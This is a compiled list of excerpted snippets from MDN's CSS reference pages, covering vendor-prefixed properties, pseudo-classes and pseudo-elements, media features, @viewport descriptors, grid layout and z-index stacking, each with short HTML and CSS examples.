for example: .img1 { width: 100px; height: 100px; -moz-context-properties: fill, stroke; fill: lime; stroke: purple; } now that you've done this, the svg image can use the values of the fill and stroke properties, for example: <img class="img1" src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'> <rect width='100%' height='100%' stroke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from t...
-moz-float-edge - CSS: Cascading Style Sheets
formal definition initial valuecontent-boxapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax border-box | content-box | margin-box | padding-box examples html <div class="box"> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.</p> </div> css .box { display: block; height: 5px; margin: 0.5em auto 0.5em auto; color: gray; -moz-float-edge: margin-box; box-sizing: border-box; } result specifications not part of any standard.
-moz-image-region - CSS: Cascading Style Sheets
it will not work with xul <image src="url" />.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image #example-button { /* display only the 4x4 area from the top left of this image */ list-style-image: url("chrome://example/skin/example.png"); -moz-image-region: rect(0px, 4px, 4px, 0px); } #example-button:hover...
-moz-orient - CSS: Cascading Style Sheets
formal definition initial valueinlineapplies toany element; it has an effect on progress and meter, but not on <input type="range"> or other elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax inline | block | horizontal | vertical examples html <p> the following progress meter is horizontal (the default): </p> <progress max="100" value="75"></progress> <p> the following progress meter is vertical: </p> <progress class="vert" max="100" value="75"></progress> css .vert { -mo...
-moz-user-focus - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax ignore | normal | select-after | select-before | select-menu | select-same | select-all | none examples html <input class="ignored" value="the user cannot focus on this element."> css .ignored { -moz-user-focus: ignore; } specifications not part of any standard.
-webkit-border-before - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples applying a border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; -webkit-border-before: 5px dashed blue; } result specifications not part of any standard, but it relates to the standards-track border-block-start property.
-webkit-text-security - CSS: Cascading Style Sheets
html <label for="name">name:</label> <input type="text" name="name" id="name" /> css input { -webkit-text-security: square; } result specifications not part of any standard.
-webkit-text-stroke-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples varying the stroke color html <p>text with stroke</p> <input type="color" value="#ff0000"> css p { margin: 0; font-size: 4em; -webkit-text-stroke-width: 3px; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results speci...
-webkit-text-stroke-width - CSS: Cascading Style Sheets
nition initial value0applies toall elementsinheritedyescomputed valueabsolute <length>animation typediscrete formal syntax <length> examples varying stroke widths css p { margin: 0; font-size: 4em; -webkit-text-stroke-color: red; } #thin { -webkit-text-stroke-width: thin; } #medium { -webkit-text-stroke-width: 3px; } #thick { -webkit-text-stroke-width: 1.5mm; } html <p id="thin">thin stroke</p> <p id="medium">medium stroke</p> <p id="thick">thick stroke</p> results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-width' in that specification.
-webkit-text-stroke - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples adding a red text stroke html <p id="example">the stroke of this text is red.</p> css #example { font-size: 3em; margin: 0; -webkit-text-stroke: 2px red; } result specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke' in that specification.
:-moz-drag-over - CSS: Cascading Style Sheets
syntax :-moz-drag-over examples html <table border="1"> <tr> <td width="100px" height="100px">drag over</td> </tr> </table> css td:-moz-drag-over { color: red; } result specifications not part of any standard.
:-moz-locale-dir(ltr) - CSS: Cascading Style Sheets
this is determined by the preference intl.uidirection.locale (where locale is the current locale) being set to "ltr".
:-moz-locale-dir(rtl) - CSS: Cascading Style Sheets
this is determined by the preference intl.uidirection.locale (where locale is the current locale) being set to "rtl".
:-moz-ui-invalid - CSS: Cascading Style Sheets
by default, gecko applies a style that creates a red "glow" (using the box-shadow property) around items, which have this pseudo-class applied.
::-moz-focus-inner - CSS: Cascading Style Sheets
examples html <input type="submit" value="input"/> <button type="submit">button</button> css button::-moz-focus-inner, input[type="color"]::-moz-focus-inner, input[type="reset"]::-moz-focus-inner, input[type="button"]::-moz-focus-inner, input[type="submit"]::-moz-focus-inner { padding-block-start: 0px; padding-inline-end: 2px; padding-block-end: 0px; padding-inline-start: 2px; border: 1px dotted red; ...
::-moz-progress-bar - CSS: Cascading Style Sheets
syntax ::-moz-progress-bar examples html <progress value="30" max="100">30%</progress> <progress max="100">indeterminate</progress> css ::-moz-progress-bar { background-color: red; } /* force indeterminate bars to have zero width */ :indeterminate::-moz-progress-bar { width: 0; } result specifications not part of any standard.
::-webkit-inner-spin-button - CSS: Cascading Style Sheets
html <input type="number"> css input[type=number]::-webkit-inner-spin-button { cursor: pointer; } result specifications not part of any standard.
::-webkit-meter-bar - CSS: Cascading Style Sheets
examples html <meter min="0" max="10" value="6">score out of 10</meter> css meter { /* reset the default appearance */ -webkit-appearance: none; -moz-appearance: none; appearance: none; } meter::-webkit-meter-bar { background: #eee; box-shadow: 0 2px 3px rgba(0, 0, 0, 0.2) inset; border-radius: 3px; } result ...
::-webkit-meter-even-less-good-value - CSS: Cascading Style Sheets
examples html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-even-less-good-value { background: linear-gradient(to bottom, #f77, #d44 45%, #d44 55%, #f77); height: 100%; box-sizing: border-box; } result ...
::-webkit-meter-inner-element - CSS: Cascading Style Sheets
html <meter min="0" max="10" value="6">score out of 10</meter> css meter { /* reset the default appearance */ -webkit-appearance: none; -moz-appearance: none; appearance: none; } meter::-webkit-meter-inner-element { -webkit-appearance: inherit; box-sizing: inherit; border: 1px solid #aaa; } result ...
::-webkit-meter-optimum-value - CSS: Cascading Style Sheets
html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-bar { /* required to get rid of the default background property */ background : none; background-color : whitesmoke; box-shadow : 0 5px 5px -5px #333 inset; } meter::-webkit-meter-optimum-value { box-shadow: 0 5px 5px -5px #999 inset; } result ...
::-webkit-meter-suboptimum-value - CSS: Cascading Style Sheets
html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-suboptimum-value { background: -webkit-gradient linear, left top, left bottom; height: 100%; box-sizing: border-box; } result specifications not part of any standard.
::-webkit-outer-spin-button - CSS: Cascading Style Sheets
html <input type="number"> css input::-webkit-outer-spin-button { -webkit-appearance: none; } result specifications not part of any standard.
::-webkit-progress-bar - CSS: Cascading Style Sheets
syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar { background-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard.
::-webkit-progress-inner-element - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-inner-element { border: 2px solid black; } result result screenshot if you're not using a blink or webkit browsear, the above code resuls in a progress bar looking like this: specifications not part of any standard.
::-webkit-progress-value - CSS: Cascading Style Sheets
html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value { background-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard.
::-webkit-search-cancel-button - CSS: Cascading Style Sheets
the ::-webkit-search-cancel-button css pseudo-element represents a button (the "cancel button") at the edge of an <input> of type="search" which clears away the current value of the <input> element.
::-webkit-search-results-button - CSS: Cascading Style Sheets
the ::-webkit-search-results-button css pseudo-element represents a button (the "search results button") at the left edge of an <input> of type="search" which when clicked displays a menu which allows the user to choose from previous recent search queries.
::-webkit-slider-runnable-track - CSS: Cascading Style Sheets
the ::-webkit-slider-runnable-track css pseudo-element represents the "track" (the groove in which the indicator slides) of an <input type="range">.
::-webkit-slider-thumb - CSS: Cascading Style Sheets
the ::-webkit-slider-thumb css pseudo-element represents the "thumb" that the user can move within the "groove" of an <input> of type="range" to alter its numerical value.
::first-letter (:first-letter) - CSS: Cascading Style Sheets
html <p>duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> <p>-the beginning of a special punctuation mark.</p> <p>_the beginning of a special punctuation mark.</p> <p>"the beginning of a special punctuation mark.</p> <p>'the beginning of a special punctuation mark.</p> <p>*the beginning of a special punctuation mark.</p> <p>#the beginning of a special punctuation mark.</p> <p>「特殊的汉字标点符号开头。</p> <p>《特殊的汉字标点符号开头。</p> <p>“特殊的汉字标点符号开头。</p> css p::first-letter { color: red; font-size: ...
::spelling-error - CSS: Cascading Style Sheets
html <p contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specification.
:any-link - CSS: Cascading Style Sheets
WebCSS:any-link
/* selects any element that would be matched by :link or :visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ...
:defined - CSS: Cascading Style Sheets
WebCSS:defined
ents.define('simple-custom', class extends htmlelement { constructor() { super(); let divelem = document.createelement('div'); divelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a standard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinctive backgrounds p { background: yellow; } simple-custom { background: cyan; } // both the custom and the built-in element are given italic text :defined { font-style: italic; } then provide the following two rules to hide...
:dir() - CSS: Cascading Style Sheets
WebCSS:dir
formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) { background-color: yellow; } :dir(rtl) { background-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
:enabled - CSS: Cascading Style Sheets
WebCSS:enabled
html <form action="url_of_form"> <label for="firstfield">first field (enabled):</label> <input type="text" id="firstfield" value="lorem"><br> <label for="secondfield">second field (disabled):</label> <input type="text" id="secondfield" value="ipsum" disabled="disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result s...
:first - CSS: Cascading Style Sheets
WebCSS:first
syntax :first examples html <p>first page.</p> <p>second page.</p> <button>print!</button> css @page :first { margin-left: 50%; margin-top: 50%; } p { page-break-after: always; } javascript document.queryselector("button").addeventlistener('click', () => { window.print(); }); result press the "print!" button to print the example.
:focus-within - CSS: Cascading Style Sheets
html <p>try typing into this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within { background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment ...
:focus - CSS: Cascading Style Sheets
WebCSS:focus
syntax :focus examples html <input class="red-input" value="i'll be red when focused."><br> <input class="blue-input" value="i'll be blue when focused."> css .red-input:focus { background: yellow; color: red; } .blue-input:focus { background: yellow; color: blue; } result accessibility concerns make sure the visual focus indicator can be seen by people with low vision.
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
html <div lang="en"><q>this english quote has a <q>nested</q> quote inside.</q></div> <div lang="fr"><q>this french quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result ...
:left - CSS: Cascading Style Sheets
WebCSS:left
/* selects any left-hand pages when printing */ @page :left { margin: 2in 3in; } whether a given page is "left" or "right" is determined by the major writing direction of the document.
:link - CSS: Cascading Style Sheets
WebCSS:link
html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
:not() - CSS: Cascading Style Sheets
WebCSS:not
examples html <p>i am a paragraph.</p> <p class="fancy">i am so very fancy!</p> <div>i am not a paragraph.</div> css .fancy { text-shadow: 2px 2px 3px gold; } /* <p> elements that are not in the class `.fancy` */ p:not(.fancy) { color: green; } /* elements that are not <p> elements */ body :not(p) { text-decoration: underline; } /* elements that are not <div> and not <span> elements */ body :not(div):not(span) { font-weight: bold; ...
:nth-of-type() - CSS: Cascading Style Sheets
formal syntax :nth-of-type( <nth> )where <nth> = <an-plus-b> | even | odd examples basic example html <div> <div>this element isn't counted.</div> <p>1st paragraph.</p> <p>2nd paragraph.</p> <div>this element isn't counted.</div> <p>3rd paragraph.</p> <p class="fancy">4th paragraph.</p> </div> css /* odd paragraphs */ p:nth-of-type(2n+1) { color: red; } /* even paragraphs */ p:nth-of-type(2n) { color: blue; } /* first paragraph */ p:nth-of-type(1) { font-weight: bold; } /* this has no effect, as the .fancy class is only on the 4th p element, not the 1st */ p.fancy:nth-of-type(1) { text-decoration: underline; } result specifications ...
:out-of-range - CSS: Cascading Style Sheets
in the absence of such a limitation, the element can neither be "in-range" nor "out-of-range." syntax :out-of-range examples html <form action="" id="form1"> <p>values between 1 and 10 are valid.</p> <ul> <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input {...
:right - CSS: Cascading Style Sheets
WebCSS:right
/* selects any right-hand pages when printing */ @page :right { margin: 2in 3in; } whether a given page is "left" or "right" is determined by the major writing direction of the document.
:visited - CSS: Cascading Style Sheets
WebCSS:visited
html <a href="#test-visited-link">have you visited this link yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */ background-color: white; border: 1px solid white; } a:visited { background-color: yellow; border-color: hotpink; color: hotpink; } result specific...
fallback - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial valuedecimalcomputed valueas specified formal syntax <counter-style-name>where <counter-style-name> = <custom-ident> examples specifying a fallback counter style html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style fallback-example { system: fixed; symbols: "\24b6" "\24b7" "\24b8"; fallback: upper-alpha; } .list { list-style: fallback-example; } result specifications specification status comment css counter styles level 3the definition of 'fallback' in that...
range - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial valueautocomputed valueas specified formal syntax [ [ <integer> | infinite ]{2} ]# | auto examples setting counter style over a range <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> <li>six</li> <li>seven</li> <li>eight</li> <li>nine</li> <li>ten</li> </ul> @counter-style range-multi-example { system: cyclic; symbols: "\25a0" "\25a1"; range: 2 4, 7 9; } .list { list-style: range-multi-example; } the above list will display as follows: 1.
speak-as - CSS: Cascading Style Sheets
let's talk about speech css | css tricks formal definition related at-rule@counter-styleinitial valueautocomputed valueas specified formal syntax auto | bullets | numbers | words | spell-out | <counter-style-name>where <counter-style-name> = <custom-ident> examples setting the spoken form for a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style speak-as-example { system: fixed; symbols:     ; suffix: " "; speak-as: numbers; } .list { list-style: speak-as-example; } result specifications specification status comment css counter styles level 3the definition of 'speak-as...
font-family - CSS: Cascading Style Sheets
syntax /* <string> values */ font-family: "font family"; font-family: 'another font family'; /* <custom-ident> value */ font-family: examplefont; values <family-name> specifies the name of the font family.
font-variation-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-variation-settings: normal; /* set values for opentype axis names */ font-variation-settings: "xhgt" 0.7; values normal text is laid out using default settings.
@font-feature-values - CSS: Cascading Style Sheets
feature-value-block> = <feature-type> '{' <feature-value-declaration-list> '}'where <feature-type> = @stylistic | @historical-forms | @styleset | @character-variant | @swash | @ornaments | @annotation<feature-value-declaration-list> = <feature-value-declaration>where <feature-value-declaration> = <custom-ident>: <integer>+; examples using @styleset in a @font-feature-values rule /* at-rule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-style" in font two */ @font-feature-values font two { @styleset { nice-style: 4; } } … /* apply the at-rules with a single declaration */ .nice-look { font-variant-alternates: styleset(nice-style); } specifications specification status comment ...
@import - CSS: Cascading Style Sheets
WebCSS@import
<mf-value>where <mf-name> = <ident><mf-value> = <number> | <dimension> | <ident> | <ratio> examples importing css rules @import 'custom.css'; @import url("chrome://communicator/skin/"); importing css rules conditionally @import url("fineprint.css") print; @import url("bluish.css") speech; @import "common.css" screen; @import url('landscape.css') screen and (orientation:landscape); specifications specification status comment css cascading and inheritance level 4the definition of 'the @import rule' in that specification...
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
implementation /* a unit of "dppx" is implied: */ @media (-webkit-min-device-pixel-ratio: 2) { ...
any-hover - CSS: Cascading Style Sheets
WebCSS@mediaany-hover
examples testing whether input methods can hover html <a href="#">try hovering over me!</a> css @media (any-hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'any-hover' in that specification.
any-pointer - CSS: Cascading Style Sheets
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"]:checked { background: gray; } @media (any-pointer: fine) { input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; width: 15px; height: 15px; border: 1px solid blue; } } @media (any-pointer: coarse) { input[type="checkbox"] { -moz-app...
color-index - CSS: Cascading Style Sheets
<link rel="stylesheet" href="http://foo.bar.com/base.css" /> <link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/color-stylesheet.css" /> specifications specification status comment media queries level 4the definition of 'color-index' in that specification.
device-height - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-height: 799px)" href="http://foo.bar.com/short-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-height' in that specification.
device-width - CSS: Cascading Style Sheets
<link rel="stylesheet" media="screen and (max-device-width: 799px)" href="http://foo.bar.com/narrow-styles.css" /> specifications specification status comment media queries level 4the definition of 'device-width' in that specification.
forced-colors - CSS: Cascading Style Sheets
html <div class="colors">weird color box</div> css .colors { background-color: red; color: grey; } @media (forced-colors: active) { .colors { background-color: white; color: black; } } result specifications specification status comment media queries level 5the definition of 'forced-colors' in that specification.
hover - CSS: Cascading Style Sheets
WebCSS@mediahover
examples html <a href="#">try hovering over me!</a> css @media (hover: hover) { a:hover { background: yellow; } } result specifications specification status comment media queries level 4the definition of 'hover' in that specification.
light-level - CSS: Cascading Style Sheets
@media (light-level: normal) { p { background: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { background: #222; color: #ccc; } } @media (light-level: washed) { p { background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
monochrome - CSS: Cascading Style Sheets
WebCSS@mediamonochrome
examples html <p class="mono">your device supports monochrome pixels!</p> <p class="no-mono">your device doesn't support monochrome pixels.</p> css p { display: none; } /* any monochrome device */ @media (monochrome) { p.mono { display: block; color: #333; } } /* any non-monochrome device */ @media (monochrome: 0) { p.no-mono { display: block; color: #ee3636; } } result specifications ...
prefers-color-scheme - CSS: Cascading Style Sheets
html <div class="day">day (initial)</div> <div class="day light-scheme">day (changes in light scheme)</div> <div class="day dark-scheme">day (changes in dark scheme)</div> <br> <div class="night">night (initial)</div> <div class="night light-scheme">night (changes in light scheme)</div> <div class="night dark-scheme">night (changes in dark scheme)</div> css .day { background: #eee; color: black; } .night { b...
prefers-contrast - CSS: Cascading Style Sheets
html <div class="contrast">low contrast box</div> css .contrast { width: 100px; height: 100px; outline: 2px dashed black; } @media (prefers-contrast: high) { .contrast { outline: 2px solid black; } } result specifications specification status comment media queries level 5the definition of 'prefers-contrast' in that specification.
prefers-reduced-motion - CSS: Cascading Style Sheets
html <div class="animation">animated box</div> css .animation { animation: pulse 1s linear infinite both; } /* tone down the animation to avoid vestibular motion triggers like scaling or panning large objects.
prefers-reduced-transparency - CSS: Cascading Style Sheets
html <div class="transparency">transparent box</div> css .transparency { opacity: 0.5; } @media (prefers-reduced-transparency: reduce) { .transparency { opacity: 1; } } result specifications specification status comment media queries level 5the definition of 'prefers-reduced-transparency' in that specification.
shape - CSS: Cascading Style Sheets
WebCSS@mediashape
<head> <link rel="stylesheet" href="default.css" /> <link media="screen and (shape: rect)" rel="stylesheet" href="rectangle.css" /> <link media="screen and (shape: round)" rel="stylesheet" href="round.css" /> </head> specifications specification status css round display level 1the definition of 'shape' in that specification.
@namespace - CSS: Cascading Style Sheets
syntax /* default namespace */ @namespace url(xml-namespace-url); @namespace "xml-namespace-url"; /* prefixed namespace */ @namespace prefix url(xml-namespace-url); @namespace prefix "xml-namespace-url"; description the defined namespaces can be used to restrict the universal, type, and attribute selectors to only select elements within that namespace.
size - CSS: Cascading Style Sheets
WebCSS@pagesize
size may either be defined with a "scalable" keyword (in this case the page will fill the available dimensions) or with absolute dimensions.
height - CSS: Cascading Style Sheets
WebCSS@viewportheight
eight: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum height @viewport { height: 500px; } specifications specification status comment css device adaptationthe definition of '"height" descriptor' in that specification.
max-height - CSS: Cascading Style Sheets
specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max height in pixels @viewport { max-height: 600px; } specifications specification status comment css device adaptationthe definition of '"max-height" descriptor' in that specification.
max-width - CSS: Cascading Style Sheets
specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max width in pixels @viewport { max-width: 600px; } specifications specification status comment css device adaptationthe definition of '"max-width" descriptor' in that specification.
max-zoom - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting max-zoom @viewport { max-zoom: 1.5; } specifications specification status comment css device adaptationthe definition of '"max-zoom" descriptor' in that specification.
min-height - CSS: Cascading Style Sheets
specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min height in pixels @viewport { min-height: 200px; } specifications specification status comment css device adaptationthe definition of '"min-height" descriptor' in that specification.
min-width - CSS: Cascading Style Sheets
f specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min width in pixels @viewport { min-width: 200px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
min-zoom - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting min zoom factor @viewport { min-zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"min-zoom" descriptor' in that specification.
user-zoom - CSS: Cascading Style Sheets
tanding success criterion 1.4.4 | understanding wcag 2.0 formal definition related at-rule@viewportinitial valuezoompercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax zoom | fixed examples disabling user zoom @viewport { user-zoom: fixed; } specifications specification status comment css device adaptationthe definition of '"user-zoom" descriptor' in that specification.
viewport-fit - CSS: Cascading Style Sheets
formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css round display level 1the definition of '"viewport-fit" descriptor' in that specification.
width - CSS: Cascading Style Sheets
WebCSS@viewportwidth
x-width: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum width @viewport { width: 500px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
zoom - CSS: Cascading Style Sheets
WebCSS@viewportzoom
formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting viewport zoom factor @viewport { zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"zoom" descriptor' in that specification.
Adjacent sibling combinator - CSS: Cascading Style Sheets
working draft renames it the "next-sibling" combinator.
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
/* general structure */ @identifier (rule); /* example: tells browser to use utf-8 character set */ @charset "utf-8"; there are several at-rules, designated by their identifiers, each with a different syntax: @charset — defines the character set used by the style sheet.
Using multiple backgrounds - CSS: Cascading Style Sheets
example in this example, three backgrounds are stacked: the firefox logo, an image of bubbles, and a linear gradient: html <div class="multi-bg-example"></div> css .multi-bg-example { width: 100%; height: 400px; background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)); background-repeat: no-repeat, no-repeat, no-repeat; background-position: botto...
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
the content area, bounded by the content edge, contains the "real" content of the element, such as text, an image, or a video player.
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
values: see the flex-basis reference (the default is auto) spec: https://drafts.csswg.org/css-flexbox/#flex-basis-property @mixin flex-basis($value: auto) { -webkit-flex-basis: $value; flex-basis: $value; } flexbox "flex" (shorthand) the flex property specifies the components of a flexible length; flex-grow factor, flex-shrink factor, and the flex-basis.
CSS Fonts - CSS: Cascading Style Sheets
WebCSSCSS Fonts
p { width: 600px; margin: 0 auto; font-family: "helvetica neue", "arial", sans-serif; font-style: italic; font-weight: 100; font-variant-ligatures: normal; font-size: 2rem; letter-spacing: 1px; } <p>three hundred years ago<br> i thought i might get some sleep<br> i stretched myself out onna antique bed<br> an' my spirit did a midnite creep</p> the result is as follows: variable fonts examples you can find a number of varia...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
.wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column: 1; grid-row: 2; } <div class="wrapper"> <div class="box box1"><a href="">one</a></div> <div class="box box2"><a href="">two</a></div> <div class="box box3"><a href="">three</a></div> <div class="box box4"><a href="">four</a></div> <div class="box box5"><a href="">five</a></div> </div> the specification says that in this scenario, if box 1 really makes sense logically in that position, we should go back to our so...
Subgrid - CSS: Cascading Style Sheets
you can "nest" grids by making a grid item a grid container.
CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid rgb(233,171,88); border-radius: 5px; background-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div class="one">one</div> <div class="two">two</div> <div class="three">three</div> <div class="four">four</div> <div class="five">five</div> <div class="six">six</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: minmax(100px, auto); } .one { grid-column: 1 / 3; grid-row: 1; } .two { grid-column:...
CSS Motion Path - CSS: Cascading Style Sheets
basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offs...
Using z-index - CSS: Cascading Style Sheets
source code for the example html <div id="abs1"> <b>div #1</b> <br />position: absolute; <br />z-index: 5; </div> <div id="rel1"> <b>div #2</b> <br />position: relative; <br />z-index: 3; </div> <div id="rel2"> <b>div #3</b> <br />position: relative; <br />z-index: 2; </div> <div id="abs2"> <b>div #4</b> <br />position: absolute; <br />z-index: 1; </div> <div id="sta1"> <b>div #5</b> <br />no positioning ...
Stacking with floated blocks - CSS: Cascading Style Sheets
source code for the example html <div id="abs1"> <b>div #1</b><br />position: absolute;</div> <div id="flo1"> <b>div #2</b><br />float: left;</div> <div id="flo2"> <b>div #3</b><br />float: right;</div> <br /> <div id="sta1"> <b>div #4</b><br />no positioning</div> <div id="abs2"> <b>div #5</b><br />position: absolute;</div> css div { padding: 10px; text-align: center; } b { font-family: sans-serif; } #abs1 { p...
Stacking context example 1 - CSS: Cascading Style Sheets
example html <div id="div1"> <br /><span class="bold">div #1</span> <br />position: relative; <div id="div2"> <br /><span class="bold">div #2</span> <br />position: absolute; <br />z-index: 1; </div> </div> <br /> <div id="div3"> <br /><span class="bold">div #3</span> <br />position: relative; <div id="div4"> <br /><span class="bold">div #4</span> <br />position: absolute; <br />z-index: 2;...
Understanding CSS z-index - CSS: Cascading Style Sheets
